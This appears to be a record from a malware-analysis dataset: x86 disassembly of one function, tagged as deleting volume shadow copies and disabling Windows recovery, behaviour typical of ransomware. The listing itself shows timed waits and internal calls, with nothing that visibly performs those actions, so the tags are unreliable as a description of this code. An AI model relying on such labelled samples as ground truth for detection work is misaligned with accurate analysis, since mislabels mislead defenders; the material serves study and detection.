Function at 0x4095f0
Capabilities:
Delete volume shadow copies
Disable automatic windows recovery features

Disassembly:
sub esp, 0x20
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov dword [esp + 0x1c], eax
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x18], ecx
mov edx, dword [esp + 0x24]
test byte [edx], al
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
call fcn.00401c60
movzx eax, byte [esp + 0xc]
test al, al
je 0x409693
mov eax, dword [esp + 0x2c]
test eax, eax
jge 0x40966d
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x18]
mov byte [ecx + 0x85], 1
mov ecx, dword [0x62c2e4]
mov ecx, dword [ecx]
test ecx, ecx
jne 0x40987c
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0xffffffff
call fcn.00430180
jmp 0x40984d
call fcn.00460210
mov eax, dword [esp]
mov ecx, dword [esp + 0x28]
add eax, ecx
mov dword [esp + 0x14], eax
mov edx, dword [esp + 4]
mov ebx, dword [esp + 0x2c]
adc edx, ebx
mov dword [esp + 0x10], edx
mov ebx, dword [esp + 0x2c]
jmp 0x4096bf
mov eax, dword [esp + 0x24]
cmp dword [eax], 1
jne 0x4096a5
mov byte [esp + 0x3c], 1
add esp, 0x20
ret
lea eax, [0x54f246]
mov dword [esp], eax
mov dword [esp + 4], 0x1e
call fcn.00433a00
mov eax, edx
mov edx, ebp
mov ebp, dword [esp + 0x1c]
mov esi, dword [ebp + 0x18]
mov byte [esi + 0x85], 1
mov esi, dword [0x62c2e4]
mov esi, dword [esi]
test esi, esi
je 0x409709
cmp ecx, 0x989680
xchg esi, ebx
seta bl
xchg esi, ebx
test ebx, ebx
xchg edi, ebx
setg bl
xchg edi, ebx
sete dl
and esi, edx
or esi, edi
xchg esi, eax
test al, al
xchg esi, eax
je 0x409705
xor ebx, ebx
mov ecx, 0x989680
jmp 0x409709
mov edx, dword [esp + 0x10]
mov dword [esp + 4], ebx
mov dword [esp], ecx
call fcn.00430180
mov eax, dword [esp + 8]
test eax, eax
jge 0x409788
mov eax, dword [0x62c2e4]
mov eax, dword [eax]
test eax, eax
je 0x409739
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.0045f090
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x18]
mov byte [ecx + 0x85], 0
call fcn.00460210
mov eax, dword [esp]
mov ecx, dword [esp + 0x14]
mov edx, ecx
sub ecx, eax
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0x10]
mov ebp, ebx
sbb ebx, eax
test ebx, ebx
sete al
xchg esi, ebx
setl bl
xchg esi, ebx
test ecx, ecx
xchg edi, ebx
setbe bl
xchg edi, ebx
and edi, eax
or esi, edi
xchg esi, eax
test al, al
xchg esi, eax
je 0x4096bb
jmp 0x40979f
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 0x18]
mov byte [eax + 0x85], 0
mov byte [esp + 0x3c], 1
add esp, 0x20
ret
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call fcn.00401c80
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x1c]
mov edx, dword [ecx + 0x18]
mov ebx, edx
cmp edx, eax
jne 0x4097e2
mov eax, dword [esp + 0x24]
mov dword [esp], eax
mov dword [esp + 8], 0
call fcn.00401c60
movzx eax, byte [esp + 0xc]
test al, al
je 0x40979f
mov byte [esp + 0x3c], 0
add esp, 0x20
ret
cmp eax, 1
jne 0x409837
mov byte [ebx + 0x85], 1
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0xffffffff
call fcn.00430180
mov eax, dword [esp + 8]
test eax, eax
jl 0x409821
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 0x18]
mov byte [eax + 0x85], 0
mov byte [esp + 0x3c], 1
add esp, 0x20
ret
lea eax, [0x552d01]
mov dword [esp], eax
mov dword [esp + 4], 0x32
call fcn.00433a00
lea eax, [0x552b75]
mov dword [esp], eax
mov dword [esp + 4], 0x31
call fcn.00433a00
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 0x18]
mov byte [eax + 0x85], 0
mov byte [esp + 0x3c], 1
add esp, 0x20
ret
mov eax, dword [0x62c2e4]
mov eax, dword [eax]
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.0045f090
mov dword [esp + 4], 0
mov dword [esp], 0x989680
call fcn.00430180
mov eax, dword [esp + 8]
test eax, eax
jl 0x409864
jmp 0x40984d